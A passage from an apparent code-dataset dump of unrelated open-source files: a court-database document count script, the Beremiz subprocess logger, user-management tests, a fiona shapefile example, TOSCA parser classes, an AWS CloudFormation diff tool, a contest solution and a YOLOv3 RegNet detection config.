porta = '5' + sigla_trt + '2'\n\n try:\n if (sigla_trt != '20'):\n conn = psycopg2.connect(dbname=dbname_2g, user=userbugfix, password=senhabugfix, host=ipbugfix,\n port=porta)\n else:\n conn = psycopg2.connect(dbname='pje_2grau_consulta', user=userbugfix, password=senhabugfix,\n host=ipbugfix,\n port=porta)\n # conn = psycopg2.connect(dbname='pje_1grau_consulta', user=userbugfix, password=senhabugfix, host=ipbugfix, port=porta)\n start_time = time.time()\n df_temp = psql.read_sql(sql_original, conn)\n df = df.append(df_temp)\n total_time = time.time() - start_time\n print('\\nTempo para recuperar dados: ' + str(timedelta(seconds=(total_time))))\n except Exception as e:\n print(\"\\033[91mNão foi possível se conectar na base do TRT \" + sigla_trt + \"\\033[0m\")\n print(e)\n\n\ntotal = df.groupby(['ds_tipo_processo_documento']).sum()\ntotal.plot(kind='bar')\nplt.show()\n\ntotal.to_csv('/home/anarocha/myGit/classificadorDeAssuntos/Codigo/001_Analises/Outputs/Total_Documentos_2_Grau.csv')\n\n","sub_path":"Full/Codigo/001_Analises/_007_Analise_Descritiva_Distribuicao_De_Documentos_De_Interesse_No_Segundo_Grau.py","file_name":"_007_Analise_Descritiva_Distribuicao_De_Documentos_De_Interesse_No_Segundo_Grau.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"481999738","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#This file is part of Beremiz, a Integrated Development Environment for\n#programming IEC 61131-3 automates supporting plcopen standard and CanFestival.\n#\n#Copyright (C) 2007: Edouard TISSERANT and Laurent BESSARD\n#\n#See COPYING file for copyrights details.\n#\n#This library is free software; you can redistribute it and/or\n#modify it under the terms of the GNU General Public\n#License as published by the Free Software Foundation; either\n#version 2.1 of the License, or (at your option) any later version.\n#\n#This library is distributed in the hope that it will be useful,\n#but WITHOUT ANY WARRANTY; without even the implied warranty of\n#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n#General Public License for more details.\n#\n#You should have received a copy of the GNU General Public\n#License along with this library; if not, write to the Free Software\n#Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\nimport time\nimport wx\nimport subprocess, ctypes\nfrom threading import Timer, Lock, Thread, Semaphore\nimport os, sys\nif os.name == 'posix':\n from signal import SIGTERM, SIGKILL\n\n\nclass outputThread(Thread):\n \"\"\"\n Thread is used to print the output of a command to the stdout\n \"\"\"\n def __init__(self, Proc, fd, callback=None, endcallback=None):\n Thread.__init__(self)\n self.killed = False\n self.finished = False\n self.retval = None\n self.Proc = Proc\n self.callback = callback\n self.endcallback = endcallback\n self.fd = fd\n\n def run(self):\n outchunk = None\n self.retval = None\n while outchunk != '' and not self.killed :\n outchunk = self.fd.readline()\n if self.callback : self.callback(outchunk)\n while self.retval is None and not self.killed :\n self.retval = self.Proc.poll()\n outchunk = self.fd.readline()\n if self.callback : self.callback(outchunk)\n while outchunk != '' and not self.killed :\n outchunk = self.fd.readline()\n if self.callback : self.callback(outchunk)\n if self.endcallback:\n try:\n err = self.Proc.wait()\n except:\n err = self.retval\n self.finished = True\n self.endcallback(self.Proc.pid, err)\n\nclass ProcessLogger:\n def __init__(self, logger, Command, finish_callback = None,\n no_stdout = False, no_stderr = False, no_gui = True,\n timeout = None, outlimit = None, errlimit = None,\n endlog = None, keyword = None, kill_it = False, cwd = None,\n encoding = None):\n self.logger = logger\n if not isinstance(Command, list):\n self.Command_str = Command\n self.Command = []\n for i,word in enumerate(Command.replace(\"'\",'\"').split('\"')):\n if i % 2 == 0:\n word = word.strip()\n if len(word) > 0:\n self.Command.extend(word.split())\n else:\n self.Command.append(word)\n else:\n self.Command = Command\n self.Command_str = subprocess.list2cmdline(self.Command)\n\n fsencoding = sys.getfilesystemencoding()\n\n if encoding is None:\n encoding = fsencoding\n self.Command = [self.Command[0].encode(fsencoding)]+map(\n lambda x: x.encode(encoding), self.Command[1:])\n\n self.finish_callback = finish_callback\n self.no_stdout = no_stdout\n self.no_stderr = no_stderr\n self.startupinfo = None\n self.errlen = 0\n self.outlen = 0\n self.errlimit = errlimit\n self.outlimit = outlimit\n self.exitcode = None\n self.outdata = []\n self.errdata = []\n self.keyword = keyword\n self.kill_it = kill_it\n self.finishsem = Semaphore(0)\n self.endlock = Lock()\n\n popenargs= {\n \"cwd\":os.getcwd() if cwd is None else cwd,\n \"stdin\":subprocess.PIPE,\n \"stdout\":subprocess.PIPE,\n \"stderr\":subprocess.PIPE}\n\n if no_gui == True and wx.Platform == '__WXMSW__':\n self.startupinfo = subprocess.STARTUPINFO()\n self.startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n popenargs[\"startupinfo\"] = self.startupinfo\n elif wx.Platform == '__WXGTK__':\n popenargs[\"shell\"] = False\n\n self.Proc = subprocess.Popen( self.Command, **popenargs )\n\n self.outt = outputThread(\n self.Proc,\n self.Proc.stdout,\n self.output,\n self.finish)\n self.outt.start()\n\n self.errt = outputThread(\n self.Proc,\n self.Proc.stderr,\n self.errors)\n self.errt.start()\n\n if timeout:\n self.timeout = Timer(timeout,self.endlog)\n self.timeout.start()\n else:\n self.timeout = None\n\n def output(self,v):\n self.outdata.append(v)\n self.outlen += 1\n if not self.no_stdout:\n self.logger.write(v)\n if (self.keyword and v.find(self.keyword)!=-1) or (self.outlimit and self.outlen > self.outlimit):\n self.endlog()\n\n def errors(self,v):\n self.errdata.append(v)\n self.errlen += 1\n if not self.no_stderr:\n self.logger.write_warning(v)\n if self.errlimit and self.errlen > self.errlimit:\n self.endlog()\n\n def log_the_end(self,ecode,pid):\n self.logger.write(self.Command_str + \"\\n\")\n self.logger.write_warning(_(\"exited with status %s (pid %s)\\n\")%(str(ecode),str(pid)))\n\n def finish(self, pid,ecode):\n if self.timeout: self.timeout.cancel()\n self.exitcode = ecode\n if self.exitcode != 0:\n self.log_the_end(ecode,pid)\n if self.finish_callback is not None:\n self.finish_callback(self,ecode,pid)\n self.finishsem.release()\n\n def kill(self,gently=True):\n self.outt.killed = True\n self.errt.killed = True\n if wx.Platform == '__WXMSW__':\n PROCESS_TERMINATE = 1\n handle = ctypes.windll.kernel32.OpenProcess(PROCESS_TERMINATE, False, self.Proc.pid)\n ctypes.windll.kernel32.TerminateProcess(handle, -1)\n ctypes.windll.kernel32.CloseHandle(handle)\n else:\n if gently:\n sig=SIGTERM\n else:\n sig=SIGKILL\n try:\n os.kill(self.Proc.pid, sig)\n except:\n pass\n self.outt.join()\n self.errt.join()\n\n def endlog(self):\n if self.endlock.acquire(False):\n self.finishsem.release()\n if not self.outt.finished and self.kill_it:\n self.kill()\n\n\n def spin(self):\n self.finishsem.acquire()\n return [self.exitcode, \"\".join(self.outdata), \"\".join(self.errdata)]\n\n","sub_path":"util/ProcessLogger.py","file_name":"ProcessLogger.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"357061376","text":"#\n# Copyright (c) 2016 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom modules.constants import TapComponent as TAP, UserManagementHttpStatus as HttpStatus\nfrom modules.runner.tap_test_case import TapTestCase\nfrom modules.markers import components, priority\nfrom modules.tap_object_model import Organization, User\nfrom tests.fixtures import test_data\n\n\nlogged_components = (TAP.user_management, TAP.auth_gateway, TAP.auth_proxy)\npytestmark = [components.user_management, components.auth_gateway, components.auth_proxy]\n\n\nclass DeleteOrganizationUser(TapTestCase):\n\n @classmethod\n @pytest.fixture(scope=\"class\", autouse=True)\n def setup(cls, request, class_context):\n cls.step(\"Create test org\")\n cls.test_org = Organization.api_create(class_context)\n\n @pytest.fixture(scope=\"function\", autouse=True)\n def setup_context(self, context):\n # TODO move to methods when dependency on unittest is removed\n self.context = context\n\n def _assert_user_not_in_org(self, user, org_guid):\n # TODO refactor to fixtures.assertions\n self.step(\"Check that the user is not in the organization.\")\n org_users = User.api_get_list_via_organization(org_guid)\n self.assertNotIn(user, org_users, \"User is among org users, although they shouldn't\")\n\n @priority.medium\n def test_admin_deletes_non_manager(self):\n self.step(\"Add a non-manager user to organization.\")\n user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid,\n roles=User.ORG_ROLES[\"auditor\"])\n self.step(\"Remove the user from the organization\")\n user.api_delete_from_organization(self.test_org.guid)\n self._assert_user_not_in_org(user, self.test_org.guid)\n\n @priority.low\n def test_admin_can_delete_last_org_manager(self):\n self.step(\"Add manager to the organization\")\n roles = User.ORG_ROLES[\"manager\"]\n user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid, roles=roles)\n self.assert_user_in_org_and_roles(user, self.test_org.guid, roles)\n self.step(\"Check that it's possible to remove last org manager\")\n user.api_delete_from_organization(org_guid=self.test_org.guid)\n self._assert_user_not_in_org(user, self.test_org.guid)\n\n @priority.low\n def test_admin_cannot_delete_org_user_twice(self):\n self.step(\"Add test user to organization\")\n user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid,\n roles=User.ORG_ROLES[\"auditor\"])\n self.step(\"Delete test user from organization\")\n user.api_delete_from_organization(org_guid=self.test_org.guid)\n self.step(\"Try to delete test user from organization second time\")\n self.assertRaisesUnexpectedResponse(HttpStatus.CODE_NOT_FOUND, HttpStatus.MSG_EMPTY,\n user.api_delete_from_organization, org_guid=self.test_org.guid)\n\n @priority.low\n @pytest.mark.usefixtures(\"admin_user\")\n def test_admin_cannot_delete_non_existing_org_user(self):\n self.step(\"Check that an attempt to delete user which is not in org returns an error\")\n self.assertRaisesUnexpectedResponse(HttpStatus.CODE_NOT_FOUND, HttpStatus.MSG_EMPTY,\n test_data.TestData.admin_user.api_delete_from_organization,\n org_guid=self.test_org.guid)\n\n @priority.high\n def test_org_manager_can_delete_another_user(self):\n self.step(\"Add org manager to organization\")\n user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid,\n roles=User.ORG_ROLES[\"manager\"])\n user_client = user.login()\n deleted_user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid,\n roles=User.ORG_ROLES[\"manager\"])\n self.step(\"Org manager removes the user from the test org\")\n deleted_user.api_delete_from_organization(org_guid=self.test_org.guid, client=user_client)\n self._assert_user_not_in_org(deleted_user, self.test_org.guid)\n\n @priority.low\n def test_non_manager_cannot_delete_user(self):\n self.step(\"Add org manager to organization\")\n user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid,\n roles=User.ORG_ROLES[\"auditor\"])\n user_client = user.login()\n deleted_user_roles = User.ORG_ROLES[\"billing_manager\"]\n deleted_user = User.api_create_by_adding_to_organization(self.context, org_guid=self.test_org.guid,\n roles=deleted_user_roles)\n self.step(\"Check that non-manager cannot delete user from org\")\n self.assertRaisesUnexpectedResponse(HttpStatus.CODE_FORBIDDEN, HttpStatus.MSG_FORBIDDEN,\n deleted_user.api_delete_from_organization, org_guid=self.test_org.guid,\n client=user_client)\n self.assert_user_in_org_and_roles(deleted_user, self.test_org.guid, deleted_user_roles)\n\n","sub_path":"project/tests/test_functional/user_management/test_org_users_delete.py","file_name":"test_org_users_delete.py","file_ext":"py","file_size_in_byte":5961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"601394318","text":"# -*- coding: utf-8 -*-\n'''\ncommand: python3 ch06_fiona/sec01_intro/s1.py\n读取源数据的元数据,\n创建新的数据,并根据元数据设置新的数据的投影。\n'''\nimport fiona\n\n# Register format drivers with a context manager\n\nwith fiona.drivers():\n # Open a file for reading. We'll call this the \"source.\"\n\n with fiona.open('gdata/world_borders.shp') as source:\n # The file we'll write to, the \"sink\", must be initialized\n # with a coordinate system, a format driver name, and\n # a record schema. We can get initial values from the open\n # collection's ``meta`` property and then modify them as\n # desired.\n\n meta = source.meta\n print(meta)\n meta['schema']['geometry'] = 'Point'\n\n # Open an output file, using the same format driver and\n # coordinate reference system as the source. The ``meta``\n # mapping fills in the keyword parameters of fiona.open().\n\n with fiona.open('xx_fiona_1.shp', 'w', **meta) as sink:\n # Process only the records intersecting a box.\n for f in source.filter(bbox=(-107.0, 37.0, -105.0, 39.0)):\n # Get a point on the boundary of the record's\n # geometry.\n\n f['geometry'] = {\n 'type': 'Point',\n 'coordinates': f['geometry']['coordinates'][0][0]}\n\n # Write the record out.\n\n sink.write(f)\n","sub_path":"pygis_src/ch04_fiona/sec01_intro/test_4_1_1_meta.py","file_name":"test_4_1_1_meta.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53600512","text":"from typing import Dict, Union, Type\n\nfrom .parameter_definition import ParameterDefinition\nfrom ..base import Base\nfrom ..entity import Entity\nfrom ..list import List\nfrom ..map import Map\nfrom ..reference import Reference, ReferenceXOR\nfrom ..string import String\nfrom ..void import Void\n\nT_ATTR = Dict[str, Union[Type[Base], Base, Map, List, Reference, ReferenceXOR]]\n\n\nclass ActivityDefinition(Entity):\n ATTRS: T_ATTR = dict()\n\n @classmethod\n def validate(cls, yaml_node):\n for key in yaml_node.bare:\n if key == \"delegate\":\n cls.ATTRS = DelegateWorkflowActivityDefinition.ATTRS\n elif key == \"set_state\":\n cls.ATTRS = SetStateActivityDefinition.ATTRS\n elif key == \"call_operation\":\n cls.ATTRS = CallOperationActivityDefinition.ATTRS\n elif key == \"inline\":\n cls.ATTRS = InlineWorkflowActivityDefinition.ATTRS\n else:\n cls.abort(\"Bad activity definition.\", yaml_node.loc)\n super().validate(yaml_node)\n\n\nclass DelegateWorkflowActivityDefinition(Entity):\n ATTRS: T_ATTR = dict(\n delegate=Void,\n workflow=String,\n inputs=Map(ParameterDefinition),\n )\n REQUIRED = {\"delegate\"}\n\n\nclass SetStateActivityDefinition(Entity):\n ATTRS: T_ATTR = dict(\n set_state=Void,\n )\n REQUIRED = {\"set_state\"}\n\n\nclass CallOperationActivityDefinition(Entity):\n ATTRS: T_ATTR = dict(\n call_operation=Void,\n operation=String,\n inputs=Map(ParameterDefinition),\n )\n REQUIRED = {\"call_operation\"}\n\n\nclass InlineWorkflowActivityDefinition(Entity):\n ATTRS: T_ATTR = dict(\n inline=Void,\n workflow=String,\n inputs=Map(ParameterDefinition),\n )\n REQUIRED = {\"inline\"}\n","sub_path":"src/opera/parser/tosca/v_1_3/activity_definition.py","file_name":"activity_definition.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"172519237","text":"from unittest import mock\nfrom app.profile.utils import update_email\n\nMOCK_SEND_EMAIL = 'app.profile.utils.send_email'\n\n\n@mock.patch(MOCK_SEND_EMAIL)\ndef test_update_email(mock_send_email, test_client, init_database, a_user):\n \"\"\"\n WHEN a user's email is updated\n THEN the user is no longer confirmed\n AND a confirmation email is sent\n \"\"\"\n update_email(a_user, 'new@email.com')\n\n assert not a_user.confirmed\n assert mock_send_email.called\n","sub_path":"tests/profile/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"354366492","text":"#!/usr/bin/env python3\nfrom __future__ import unicode_literals, print_function, absolute_import\n\nfrom aws_stack_diff.utils import walk_json, json_default, sorted_dict, base64_decode\n\n\ndef stack2res(boto_session, stack_name):\n \"\"\"from a stack name, transform into a dict of resources\"\"\"\n return Stack2Res(boto_session, stack_name).get_processed()\n\n\nclass Stack2Res(object):\n def __init__(self, boto_session, stack_name):\n self._bs = boto_session\n self._stack_name = stack_name\n\n self._stack_info = self._bs.cf.describe_stacks(StackName=stack_name)[0]\n self._template = self._bs.cf.get_template(StackName=stack_name)\n self._resources = self._bs.cf.describe_stack_resources(StackName=stack_name)\n\n self._user = self._bs.iam.get_user()\n\n self.ref_values = {\n 'AWS::AccountId': self._user['Arn'].split(':')[4],\n # 'AWS::NotificationARNs': '',\n # 'AWS::NoValue': '',\n 'AWS::Region': self._bs._session.region_name,\n 'AWS::StackId': self._stack_info['StackId'],\n 'AWS::StackName': self._stack_info['StackName'],\n }\n self.ref_values.update({r['LogicalResourceId']: r.get('PhysicalResourceId') for r in self._resources})\n\n def get_tags(self, log_id):\n # TODO use that, instead of filtering thoses names in resources\n return {\n 'aws:cloudformation:logical-id': log_id,\n 'aws:cloudformation:stack-id': self._stack_info['StackId'],\n 'aws: cloudformation:stack-name': self._stack_name,\n }\n\n def walk_dict(self, d):\n if 'Ref' in d:\n assert {'Ref'} == set(d.keys())\n return self.ref_values.get(d['Ref'])\n if 'Fn::Join' in d:\n assert {'Fn::Join'} == set(d.keys())\n sep, values = d['Fn::Join']\n return sep.join(values)\n if 'Fn::GetAtt' in d:\n assert {'Fn::GetAtt'} == set(d.keys())\n return self.resolve_attr(*d['Fn::GetAtt'])\n if 'Fn::Base64' in d:\n assert {'Fn::Base64'} == set(d.keys())\n # keep the base64 for clarity\n return d\n\n # Thoses metadata can contain cloudformation stuff\n if 'Metadata' in d:\n del d['Metadata']\n\n if 'Tags' in d:\n d['Tags'] = sorted_dict(d['Tags'] + self._stack_info['Tags'])\n\n if 'HostedZoneTags' in d:\n d['HostedZoneTags'] = sorted_dict(d['HostedZoneTags'] + self._stack_info['Tags'])\n\n # some specific things we need to sort\n need_sorted = [\n 'SecurityGroups', 'Subnets', 'VPCZoneIdentifier',\n 'SecurityGroupIngress', 'SecurityGroupEgress', 'SubnetIds', 'AvailabilityZones',\n ]\n for k in need_sorted:\n if k in d:\n if not d[k]:\n continue\n if isinstance(d[k][0], dict):\n d[k] = sorted_dict(d[k])\n else:\n d[k] = sorted(d[k])\n\n to_remove = ['DependsOn']\n for k in to_remove:\n if k in d:\n del d[k]\n\n if 'TTL' in d:\n d['TTL'] = int(d['TTL'])\n\n # TODO instead of this, having a 'ANY' object in the resource 2 stack.\n # And a step before compare that apply the stack property to the resource.\n # Remove the Comment of record resources, as it's not used\n if 'Type' in d and d['Type'] == 'AWS::Route53::RecordSet' and 'Comment' in d['Properties']:\n del d['Properties']['Comment']\n\n # Remove the PreferredCacheClusterAZs of CacheClusters\n if 'Type' in d and d['Type'] == 'AWS::ElastiCache::ReplicationGroup' and \\\n 'PreferredCacheClusterAZs' in d['Properties']:\n del d['Properties']['PreferredCacheClusterAZs']\n\n if 'PropagateAtLaunch' in d:\n d['PropagateAtLaunch'] = str(d['PropagateAtLaunch']).lower()\n\n return d\n\n def get_processed(self):\n resources = self._template['Resources']\n # Clean the resource output\n res = walk_json(resources, dict_fct=self.walk_dict)\n\n for k, v in res.items():\n t, p = v['Type'], v['Properties']\n v['Properties'] = self.apply_default(t, p, k)\n\n return res\n\n def resolve_attr(self, log_id, attr_name):\n ph_id = self.ref_values[log_id]\n res_type = next(r['ResourceType'] for r in self._resources if r['LogicalResourceId'] == log_id)\n\n if res_type == 'AWS::ElastiCache::ReplicationGroup':\n res = self._bs.ec.describe_replication_groups(ReplicationGroupId=ph_id)\n if attr_name == 'PrimaryEndPoint.Address':\n return res[0]['NodeGroups'][0]['PrimaryEndpoint']['Address']\n if attr_name == 'PrimaryEndPoint.Port':\n return res[0]['NodeGroups'][0]['PrimaryEndpoint']['Port']\n\n if res_type == 'AWS::ElasticLoadBalancing::LoadBalancer':\n res = self._bs.elb.describe_load_balancers(LoadBalancerNames=[ph_id])[0]\n if attr_name == 'CanonicalHostedZoneName':\n return res['CanonicalHostedZoneName']\n if attr_name == 'DNSName':\n return res['DNSName']\n if attr_name == 'SourceSecurityGroup.GroupName':\n return res['SourceSecurityGroup']['GroupName']\n if attr_name == 'SourceSecurityGroup.OwnerAlias':\n return res['SourceSecurityGroup']['OwnerAlias']\n\n assert False, (log_id, attr_name)\n\n def apply_default(self, res_type, res_properties, res_log_id):\n\n if res_type == 'AWS::EC2::SecurityGroup':\n json_default(res_properties, [], 'SecurityGroupEgress')\n json_default(res_properties, [], 'SecurityGroupIngress')\n json_default(res_properties, [], 'Tags')\n\n if res_type == 'AWS::AutoScaling::LaunchConfiguration':\n json_default(res_properties, False, 'EbsOptimized')\n json_default(res_properties, True, 'InstanceMonitoring')\n json_default(res_properties, [], 'SecurityGroups')\n json_default(res_properties, '', 'UserData')\n json_default(res_properties, '', 'RamDiskId')\n json_default(res_properties, '', 'KernelId')\n json_default(res_properties, [], 'BlockDeviceMappings')\n\n if res_type == 'AWS::ElasticLoadBalancing::LoadBalancer':\n json_default(res_properties, 'internet-facing', 'Scheme')\n json_default(res_properties, {'IdleTimeout': 60}, 'ConnectionSettings')\n json_default(res_properties, [], 'SecurityGroups')\n json_default(res_properties, [], 'Tags')\n json_default(res_properties, self.ref_values[res_log_id], 'LoadBalancerName')\n json_default(res_properties, 'TCP', 'Listeners', '*', 'InstanceProtocol')\n\n if res_type == 'AWS::AutoScaling::AutoScalingGroup':\n json_default(res_properties, 300, 'Cooldown')\n json_default(res_properties, [], 'LoadBalancerNames')\n json_default(res_properties, [], 'VPCZoneIdentifier')\n\n if res_type == 'AWS::ElastiCache::ReplicationGroup':\n json_default(res_properties, 6379, 'Port')\n res_properties['CacheSubnetGroupName'] = res_properties['CacheSubnetGroupName'].lower()\n\n if res_type == 'AWS::CloudWatch::Alarm':\n json_default(res_properties, [], 'InsufficientDataActions')\n json_default(res_properties, [], 'OKActions')\n json_default(res_properties, self.ref_values[res_log_id], 'AlarmName')\n\n if res_type == 'AWS::AutoScaling::ScalingPolicy':\n json_default(res_properties, 'SimpleScaling', 'PolicyType')\n json_default(res_properties, [], 'StepAdjustments')\n\n if res_type == 'AWS::EC2::VPC':\n json_default(res_properties, True, 'EnableDnsSupport')\n json_default(res_properties, False, 'EnableDnsHostnames')\n\n if res_type == 'AWS::Route53::HostedZone':\n if res_properties['Name'][-1] != '.':\n res_properties['Name'] = res_properties['Name'] + '.'\n\n if res_type == 'AWS::S3::Bucket':\n res_properties['AccessControl'] = self.s3grant2fa(res_properties.get('AccessControl'))\n\n return res_properties\n\n def s3grant2fa(self, accessControl):\n \"\"\"\n Transform a name access control into a full complex access\n Because we can't have the name with the resource, only the complex one, bravo AWS\n \"\"\"\n all_user_group = {'Type': 'Group', 'URI': 'http://acs.amazonaws.com/groups/global/AllUsers'}\n auth_user_group = {'Type': 'Group', 'URI': 'http://acs.amazonaws.com/groups/global/AllUsers'}\n log_group = {'Type': 'Group', 'URI': 'http://acs.amazonaws.com/groups/s3/LogDelivery'}\n owner = {'DisplayName': 'fa', 'ID': 'far', 'Type': 'CanonicalUser'}\n\n # helpful, even if a lot of cases are not allowed\n def grant(**kwargs):\n return [dict(Grantee=v, Permission=k) for k, v in kwargs.items()]\n\n if not accessControl:\n return []\n if not isinstance(accessControl, list):\n accessControl = [accessControl]\n res = []\n\n for ac in accessControl:\n if ac == 'PublicReadWrite':\n # Read for public\n res.extend(grant(FULL_CONTROL=owner, READ=all_user_group, WRITE=all_user_group))\n elif ac == 'Private':\n res.append(grant(FULL_CONTROL=owner))\n elif ac == 'PublicRead':\n res.extend(grant(FULL_CONTROL=owner, READ=all_user_group))\n elif ac == 'AuthenticatedRead':\n res.extend(grant(FULL_CONTROL=owner, READ=auth_user_group))\n elif ac == 'LogDeliveryWrite':\n res.extend(grant(WRITE=log_group, READ_ACP=log_group))\n elif ac == 'BucketOwnerRead' or ac == 'BucketOwnerFullControl':\n pass # ignored\n else:\n raise Exception('access control not known ' + repr(ac))\n\n return sorted_dict(res)\n","sub_path":"aws_stack_diff_tool/stack2res.py","file_name":"stack2res.py","file_ext":"py","file_size_in_byte":10074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"49441660","text":"MOD = 10**9+7\nfor _ in range(int(input())):\n n,a,b = map(int, input().split())\n d = n-a-b\n if d < 0: \n print(0)\n continue\n no_cross = (d+1)*(d+2)\n cross = (n-a+1)*(n-b+1)-no_cross\n ans = (n-a+1)*(n-b+1)*(n-a+1)*(n-b+1) - cross*cross\n print(ans%MOD)","sub_path":"3_virtual_contest/kuji_1016/hhkb2020_d.py","file_name":"hhkb2020_d.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"195818169","text":"# Copyright (c) 2018-2021, Texas Instruments\n# All Rights Reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n######################################################\ninput_size = (512,512) #(320,320) #(416,416) #(512,512) #(608,608)\ndataset_type = 'CocoDataset'\nnum_classes_dict = {'CocoDataset':80, 'VOCDataset':20, 'CityscapesDataset':8, 'WIDERFaceDataset':1}\nnum_classes = num_classes_dict[dataset_type]\nimg_norm_cfg = dict(mean=[103.53, 116.28, 123.675], std=[57.375, 57.12, 58.395], to_rgb=False) #imagenet mean used in pycls (bgr)\n\n_base_ = [\n f'../_xbase_/datasets/{dataset_type.lower()}.py',\n '../_xbase_/hyper_params/common_config.py',\n '../_xbase_/hyper_params/yolov3_config.py',\n '../_xbase_/hyper_params/common_schedule.py',\n]\n\n######################################################\n# settings for qat or calibration - uncomment after doing floating point training\n# also change dataset_repeats in the dataset config to 1 for fast learning\nquantize = False #'training' #'calibration'\ninitial_learning_rate = 1e-2 #8e-2\nsamples_per_gpu = 8 #16\nif quantize:\n load_from = './work_dirs/yolov3-lite_regnet/latest.pth'\n optimizer = dict(type='SGD', lr=initial_learning_rate/100.0, momentum=0.9, weight_decay=4e-5) #1e-4 => 4e-5\n total_epochs = 1 if quantize == 'calibration' else 12\nelse:\n optimizer = dict(type='SGD', lr=initial_learning_rate, momentum=0.9, weight_decay=4e-5) #1e-4 => 4e-5\n#\n\n######################################################\nbackbone_type = 'RegNet'\nbackbone_arch = 'regnetx_1.6gf' # 'regnetx_800mf' #'regnetx_1.6gf' #'regnetx_3.2gf'\nto_rgb = False # pycls regnet backbones are trained with bgr\ndecoder_conv_type = 'ConvDWSep' # 'ConvDWSep' #'ConvDWTripletRes' #'ConvDWTripletAlwaysRes'\n\nregnet_settings = {\n 'regnetx_200mf': {'bacbone_out_channels': [32, 56, 152, 368], 'group_size_dw': 8,\n 'pretrained': './checkpoints/RegNetX-200MF_dds_8gpu_mmdet-converted.pyth'},\n 'regnetx_400mf': {'bacbone_out_channels': [32, 64, 160, 384], 'group_size_dw': 16,\n 'pretrained': 'open-mmlab://regnetx_400mf'},\n 'regnetx_800mf':{'bacbone_out_channels':[64, 128, 288, 672], 'group_size_dw':16,\n 'pretrained':'open-mmlab://regnetx_800mf'},\n 'regnetx_1.6gf':{'bacbone_out_channels':[72, 168, 408, 912], 'group_size_dw':24,\n 'pretrained':'open-mmlab://regnetx_1.6gf'},\n 'regnetx_3.2gf':{'bacbone_out_channels':[96, 192, 432, 1008], 'group_size_dw':48,\n 'pretrained': 'open-mmlab://regnetx_3.2gf'}\n}\n\n######################################################\nregnet_cfg = regnet_settings[backbone_arch]\npretrained=regnet_cfg['pretrained']\nbacbone_out_channels=regnet_cfg['bacbone_out_channels'][1:][::-1]\nbackbone_out_indices = (1, 2, 3)\ngroup_size_dw=regnet_cfg['group_size_dw']\nfpn_in_channels = bacbone_out_channels\nfpn_out_channels = regnet_cfg['bacbone_out_channels'][:-1][::-1]\n\ninput_size_divisor = 32\nconv_cfg = None\nnorm_cfg = dict(type='BN')\nact_cfg = dict(type='ReLU')\nconvert_to_lite_model = dict(group_size_dw=group_size_dw)\n\nmodel = dict(\n type='YOLOV3',\n backbone=dict(\n type=backbone_type,\n arch=backbone_arch,\n out_indices=backbone_out_indices,\n norm_eval=False,\n style='pytorch',\n init_cfg=dict(type='Pretrained', checkpoint=pretrained)),\n neck=dict(\n type='YOLOV3Neck',\n num_scales=3,\n in_channels=fpn_in_channels,\n 